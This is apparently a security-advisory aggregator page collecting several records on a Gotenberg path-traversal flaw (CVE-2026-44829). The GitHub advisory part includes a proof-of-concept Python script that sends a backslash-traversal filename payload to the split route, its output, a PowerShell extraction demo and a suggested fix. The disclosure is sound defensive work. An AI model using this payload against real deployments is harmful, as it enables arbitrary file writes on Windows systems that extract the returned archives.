Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 8/9 advisories · checked 06:54 UTC Customize Public modeDiscuss ChangeIntel on Discord

Gotenberg: Path traversal in zip entry name via Windows-style separators in upload filename

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-44829

Published

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

Source published
19 Aug 2026 14:35:06 UTC
Source modified
19 Aug 2026 18:19:27 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

euvd · EUVD-2026-62427

Published

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 19, 2026, 2:35:06 PM

dateUpdated: Aug 19, 2026, 6:19:27 PM

Source published
Aug 19, 2026, 2:35:06 PM (timezone not stated)
Source modified
Aug 19, 2026, 6:19:27 PM (timezone not stated)
Observed here
30 Oct 2026 07:54:16 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

nvd · CVE-2026-44829

Published

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-08-19T15:17:02.630

lastModified: 2026-10-27T13:10:00.360

Source published
19 Aug 2026 15:17:02 UTC
Source modified
27 Oct 2026 13:10:00 UTC
Observed here
29 Oct 2026 11:13:26 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

osv · GHSA-hwc4-gmrw-5222

Published

### Summary `filepath.Base` on the Linux container does not strip backslashes (`\`), because `\` is only a path separator on Windows. A multipart filename like `..\..\..\..\Windows\System32\evil.pdf` survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\` as a path separator and write the file outside the extraction directory. ### Details `pkg/modules/api/context.go:434, 472`: ```go filename := norm.NFC.String(filepath.Base(fh.Filename)) ``` On Linux, `filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf")` returns the same string verbatim — there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds: ```go originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName)) newOriginal := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i) ctx.RegisterDiskPath(newPath, newOriginal) ``` Finally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/[email protected]/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, "")` — the map value verbatim. ### Suggested fix ```diff - filename := norm.NFC.String(filepath.Base(fh.Filename)) + filename := sanitizeFilename(fh.Filename) + + func sanitizeFilename(name string) string { + if i := strings.LastIndexAny(name, "/\\"); i >= 0 { + name = name[i+1:] + } + name = norm.NFC.String(name) + // Optional belt-and-braces: + name = strings.ReplaceAll(name, "..", "_") + name = strings.Map(func(r rune) rune { + if r < 0x20 || r == 0x7f { return -1 } + return r + }, name) + return name + } ``` The same sanitiser closes Advisory 8. ### PoC **Prerequisite:** `pip install requests`. `curl -F filename=` mangles backslashes on some shells, so we use Python's `requests` to deliver the malicious filename byte-perfect. ```bash mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc docker rm -f gotenberg-audit 2>/dev/null docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0 i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done # Stub PDF. printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf # Step 1: produce a 2-page PDF so /split returns multiple entries. curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \ -F '[email protected];filename=a.pdf' \ -F '[email protected];filename=b.pdf' # Step 2: split, declaring the multipart filename as a Windows path-traversal payload. python3 - <<'PY' import requests, zipfile, binascii fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf' files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')} data = {'splitMode': 'intervals', 'splitSpan': '1'} r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data) print(f'HTTP={r.status_code} ctype={r.headers.get("content-type")} bytes={len(r.content)}') open('split.zip', 'wb').write(r.content) z = zipfile.ZipFile('split.zip') print('--- zip entries (orig_filename) ---') for info in z.infolist(): print(f' {info.orig_filename!r}') # Show raw central-directory bytes to prove backslashes are on the wire: data = open('split.zip', 'rb').read() idx = data.find(b'PK\x01\x02') print('--- raw central-dir hex around filename ---') print(f' {binascii.hexlify(data[idx:idx+80]).decode()}') PY docker stop gotenberg-audit ``` **Observed output:** ``` HTTP=200 ctype=application/zip bytes=24750 --- zip entries (orig_filename) --- '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf' '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf' --- raw central-dir hex around filename --- 504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f ``` The trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\..\..\..\Windows\System32\evil_`. (Python's `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.) To see the Windows-side traversal effect on a Windows host, run: ```powershell Expand-Archive -Path .\split.zip -DestinationPath .\out -Force Get-ChildItem .\out -Recurse # → out\Windows\System32\evil_0.pdf # → out\Windows\System32\evil_1.pdf ``` PowerShell collapses the `..` parents but creates the `Windows\System32\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely. ### Impact - Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`). - Reachable via every multi-output Gotenberg route — `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`. - Also reachable via `downloadFrom` upstream `Content-Disposition: filename="..\\..\\evil.exe"` — the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.

Source published
29 May 2026 16:38:24 UTC
Source modified
25 Jun 2026 23:11:05 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Publisher rating · HIGH

osv · GO-2026-5443

Published

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename in github.com/gotenberg/gotenberg

Source published
25 Jun 2026 22:34:31 UTC
Source modified
25 Jun 2026 23:01:14 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 1 Nov 06:54 UTC · 272 of 272 readable · 269 fully read · documentation 469/469 current